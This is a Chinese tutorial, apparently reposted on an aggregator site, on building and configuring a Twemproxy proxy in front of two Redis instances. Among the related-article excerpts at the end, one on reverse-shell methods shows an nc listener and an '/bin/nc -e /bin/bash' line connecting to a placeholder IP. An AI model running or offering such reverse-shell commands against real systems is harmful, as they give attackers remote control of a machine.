Redis Twemproxy 集群,水平扩展 ,扩容方案

news2024/11/16 23:32:30

文章目录

    • 一、概述
    • 二、Twemproxy 分布模式
    • 三、测试规划
    • 四、Redis 服务实例准备
      • 4.1 配置Redis实例
      • 4.2 创建关资源
      • 4.3 启动Redis服务实例
    • 五、Twemproxy 安装准备
    • 六、Twemproxy 安装及集群配置
      • 6.1 安装 Twemproxy
      • 6.2 配置 Twemproxy
      • 6.3 启动 twemproxy
      • 6.4 测试 twemproxy 集群

如果您对Redis的了解不够深入请关注本栏目,本栏目包括Redis安装,Redis配置文件说明,Redis命令和数据类型说明,Redis持久化配置,Redis主从复制和哨兵机制,Redis Cluster(集群)配置,Redis Predixy 集群。

一、概述

  • Twemproxy(也称为nutcracker)是一个开源的代理软件,用于提供 Redis 或 Memcached 数据存储的负载均衡和高可用性。它是一种代理层,允许客户端将请求发送到多个 Redis 或 Memcached 后端服务器,并在多个节点之间进行负载均衡。它也是 Twitter 公司开发的,并且已经成为 Redis 和 Memcached 社区中常见的工具之一。

  • 我在前面讲过Redis Cluster 集群配置,那么即然官方自带了 Redis Cluster 为什么还要使用 Twemproxy 呢?因为 Twemproxy 还有 Redis Cluster 没有的功能,如下:

    • 多种部署:Redis Cluster 只支持一种特定的哈希分片架构,而 Twemproxy 可以适用于多种部署拓扑。而且增加Redis群集后应用程序代码无需修改,就连配置都不修改。
    • 动态的负载均衡:根据实时的节点状态和负载情况,Twemproxy 智能地将请求路由到最佳的 Redis 节点,以实现负载均衡。
    • 读写分离:Twemproxy 支持读写分离的配置。它可以将读操作路由到从节点,以分担主节点的负载,并提高读取性能。同时,写操作仍然会路由到主节点,以确保数据的一致性。
  • Twemproxy 与 Predixy 相比优点是更轻量级,效率更高。但是社区活跃底较低,文档相对较少。

  • 开源地址:https://github.com/twitter/twemproxy

二、Twemproxy 分布模式

  • Twemproxy 将请求路由到哪个后端服务器支持的分布模式有以下3种:

    1. ketama(一致性哈希): 这是默认和推荐的分布模式。它是一种基于一致性哈希算法的分布方式,确保当增加或删除后端服务器时,大部分请求仍能映射到正确的后端服务器。这有助于保持负载均衡并最小化数据的迁移。

    2. modula(模哈希): 这是另一种分布模式,它使用哈希运算中的模(取余)运算来选择后端服务器。它通常需要事先知道服务器的数量,并根据此数量来计算哈希值。这种模式可能会导致负载分布不均匀,特别是在添加或删除服务器时。

    3. random(随机选择): 这个分布模式是基于随机选择后端服务器的方式。对于每个请求的每个键,它将随机选择一个后端服务器。这可能导致负载分布不均匀,不适合需要一定程度的负载均衡的情况。

  • 一致性哈希(ketama)是最常用的分布模式,因为它在添加或删除服务器时能够提供相对稳定的分布,从而维持系统的可用性和负载均衡。其他模式可能适用于特定的使用案例,但需要更仔细的配置和监控,以确保负载均衡和性能。选择哪种分布模式通常会根据特定的应用程序需求和环境来决定。

三、测试规划

  • 我这里在同一主机上开启2个Redis服务实例,然后使用 Twemproxy 集群来测试,示意图如下: 在这里插入图片描述

四、Redis 服务实例准备

4.1 配置Redis实例

  • 新建2个Redis配置文件,用于配置2个Redis服务实例节点。分别为:redis_6381.conf、redis_6382.conf。

  • redis_6381.conf

include redis.conf

port 6381
dir /var/lib/redis/6381
pidfile /var/run/redis_6381.pid

supervised no
daemonize no
logfile ""
appendonly no
  • redis_6382.conf
include redis.conf

port 6382
dir /var/lib/redis/6382
pidfile /var/run/redis_6382.pid

supervised no
daemonize no
logfile ""
appendonly no

4.2 创建关资源

mkdir -p /var/lib/redis/6381
mkdir -p /var/lib/redis/6382

4.3 启动Redis服务实例

  • 启动2个Redis服务实例
redis-server redis_6381.conf
redis-server redis_6382.conf

五、Twemproxy 安装准备

  • 安装Epel软件仓库

    • 官方地址:https://developer.aliyun.com/mirror/
    wget -O /etc/yum.repos.d/epel.repo https://mirrors.aliyun.com/repo/epel-7.repo
    yum clean all
    
  • 准备编译工具

    yum install automake libtool -y
    
  • 升级autoreconf

    yum search autoconf
    yum install autoconf268
    

六、Twemproxy 安装及集群配置

6.1 安装 Twemproxy

  • 在CentOS7及以上系统按顺序执行以下命令安装。安装过程如果使用 git 无法下载,你可以先手动下载后拷贝到目标机器上。安装完成后生成的目标程序叫“nutcracker”,后面配置都是使用“nutcracker”,而不是“twemproxy”。
git clone https://github.com/twitter/twemproxy.git
cd twemproxy/
autoreconf -fvi	

# 如果使用autoreconf -fvi 报错,则使用下面这个命令
#autoreconf268 -fvi 

./configure --enable-debug=full
make

mkdir /etc/nutcracker
cp conf/* /etc/nutcracker/
cp /etc/nutcracker/nutcracker.yml  /etc/nutcracker/nutcracker.yml.bk

cp src/nutcracker  /usr/bin/

# cp scripts/nutcracker.init  /etc/init.d/nutcracker
# chmod a+x /etc/init.d/nutcracker

6.2 配置 Twemproxy

  • 修改配置文件 nutcracker.yml
vi /etc/nutcracker/nutcracker.yml 
  • 内容如下
alpha:
  listen: 127.0.0.1:22121
  hash: fnv1a_64
  distribution: ketama
  auto_eject_hosts: true
  redis: true
  server_retry_timeout: 2000
  server_failure_limit: 1
  servers:
   - 127.0.0.1:6381:1
   - 127.0.0.1:6382:1

6.3 启动 twemproxy

nutcracker -d -c /etc/nutcracker/nutcracker.yml

6.4 测试 twemproxy 集群

redis-cli -p 22121

[root@yiqifu-centos conf]# redis-cli -p 22121
127.0.0.1:22121> set aaa 111
OK
127.0.0.1:22121> set bbb 222
OK
127.0.0.1:22121>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1163557.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

高月薪高年终如何抉择?

论坛上看到一篇文章,这个同学在纠结是选择月薪低x高年终还是选择高月薪的公司。 看了各位小伙伴给的建议,似乎都建议楼主去第二家高月薪的公司。 当然了,选择公司不能只看薪资高低,也要综合职级、老板、团队、职业发展潜力做决策…

selenium爬虫——以爬取澎湃新闻某搜索结果为例

文章目录 selenium爬虫——以爬取澎湃新闻某搜索结果为例前言需要导入的包需要避雷的点webdriver的版本要与浏览器一致如果使用爬虫打开了新网页,要记得跳转XPath和selector都可以直接复制爬取多网页时记得try打入word时调整字体的问题 完整程序爬取效果 selenium爬…

计算机的输入输出设备

文章目录 前言一、常见的输入输出设备1.字符输入设备2.图形输入设备3.图像输出设备 二、输入输出接口的通用设计三、CPU与IO设备的通信1.程序中断2.DMA(直接存储器访问) 前言 今天给大家介绍计算机的输入输出设备,包括三个板块:常…

提升工作效率与质量——马斯克的五步工作法

图片来源网络 埃隆马斯克(Elon Musk)是一位备受赞誉的创业家和工程师,他的成功并非偶然,而是源于他对问题的深刻理解以及不断追求最佳解决方案的决心。为了实现这一目标,他制定了一套包含五个步骤的工作方法&#xff0…

高分文章推荐。8+鞘脂代谢+预后模型+实验验证生信思路

今天给同学们分享一篇鞘脂相关基因在乳腺癌临床中的作用的生信文章“Exploring the role of sphingolipid-related genes in clinical outcomes of breast cancer”,这篇文章于2023年2月14日发表在Front Immunol期刊上,影响因子为8.786。尽管癌症研究取得…

基于Google Earth Engine云平台构建的多源遥感数据森林地上生物量AGB估算模型含生物量模型应用APP

最近我在 International Journal of Digital Earth (《国际数字地球学报》)发表了一篇森林生物量模型构建的文章:Evaluation of machine learning methods and multi-source remote sensing data combinations to construct forest above-gro…

GEE:计算多个流域逐日的降水量均值,并将流域名、降水量、时间等属性下载至csv

作者:CSDN @ _养乐多_ 现在我有多个流域的矢量边界,想求每个流域某段时间每天的降水量均值,并想要将降水量均值、时间、流域名称下载到本地,以csv格式保存。 本文记录了解决以上需求的代码。 结果如下图所示, 如图所示,本文代码可以计算珠江流域每日降水量均值,并能下…

Linux学习第30天:Linux 自带的 LED 灯驱动实验:驱动开发思维方式的转变势在必行

Linux版本号4.1.15 芯片I.MX6ULL 大叔学Linux 品人间百味 思文短情长 学习嵌入式Linux驱动开发整整30天了。今天简单做一个小结。因为之前的主要工作是做ARM的裸机开发,所以接触Linux以后感觉很多东西都变了。不仅仅包括…

C++ 类的设计

一、c类的设计 类 是一种将抽象转换为用户定义类型的 C工具, 它将数据表示操纵数据的方法组合成一个整洁的包。 语法: 其中"class类名"称为类头。花括号中的部分称为类体,类体中定义了类成员表。 在C中,类是一种数据类型…

玩一下Spring Boot

文章目录 1 开发环境1.1 JDK1.2 IntelliJ IDEA2 Spring Boot2.1 创建项目2.2 创建模板页面2.3 创建控制器2.4 启动项目2.5 访问页面1 开发环境 1.1 JDK 安装JDK21 配置环境变量 在命令行查看JDK版本 玩一玩jshell

win10开机启动软件 ,开机启动文件夹介绍【详解】

文章目录 前言一、开机自启的文件夹(方法一)二、使用【Windows R 】 打开运行窗口(方法二)三、示例总结 前言 发布出来的程序,客户需要开机自启,so 查了一下 一、开机自启的文件夹(方法一&…

深度新闻稿件怎么写?新闻稿怎么写得有深度?

深度新闻稿件,顾名思义,是对新闻事件进行深入挖掘和分析的稿件。它不仅仅是对事件的简单报道,更注重对事件背后的社会现象、原因、影响等方面进行深度剖析,从而使读者能够全面、深入地了解事件。这种稿件要求作者具备较高的新闻敏…

datagrip 使用自定义参数

两种使用方法: 1. 直接打问号❓,执行的时候会问你这个问号填什么 2. 设置参数,执行的时候会问你这个参数填什么 格式:${xxxx} xxxx是你定义的参数名字 SELECT ${column_name} FROM actor WHERE actor_id${actor_id} 执行就会问…

基于Qt QTreeView|QTreeWidget控件使用简单版

头文件解析: 这是一个C++代码文件,定义了一个名为MainWindow的类。以下是对每一句的详细解释: ```cpp #ifndef MAINWINDOW_H #define MAINWINDOW_H ``` 这是一个条件编译指令,用于避免头文件的重复包含。`MAINWINDOW_H`是一个宏定义,用于唯一标识这个头文件。 ```cpp #…

反shell方法

反shell方法 shell 开启回显 python -c “import pty;pty.spawn(‘/bin/bash’)” 方法一 利用nc完成反shell 适用webshell 适用于对方网页有webshell kali先开启nc端口监听 nc -lvvp 监听端口 让对方电脑里的nc一启动就自动连接 /bin/nc -e /bin/bash 自己ip 监听的端口号…

C语言到底算高级程序语言还是低级程序语言?

C语言到底算高级程序语言还是低级程序语言? 高级语言 这里的高级都是相对于汇编语言来说的,是指脱离了计算机的硬件系统,可以按照人的思维逻辑进 行编程的语言 低级语言-般都依赖硬件, 基本换个硬件就得重写,很多人说C语言是低…

二维码智慧门牌管理系统:实现六实数据管理应用,让小区管理更便捷!

文章目录 前言一、引入六实数据管理应用二、人员管理三、房屋管理四、车辆管理五、安防管理六、公共信息管理 前言 在这个科技飞速发展的时代,传统小区管理方式已经无法满足人们对于安全、舒适和便捷的需求。而二维码智慧门牌管理系统作为新时代小区管理的利器&…

如何利用AppScan扫描H5页面,进行安全测试?

前期项目组接触的都是Web安全测试,今天做安全测试的时候,有一个项目刚好有H5页面,用以前那种AppScan内置浏览器的探索方式是不行的,研究了下,可以使用外部设备进行探索。 AppScan有两种手动探索方式,一种是…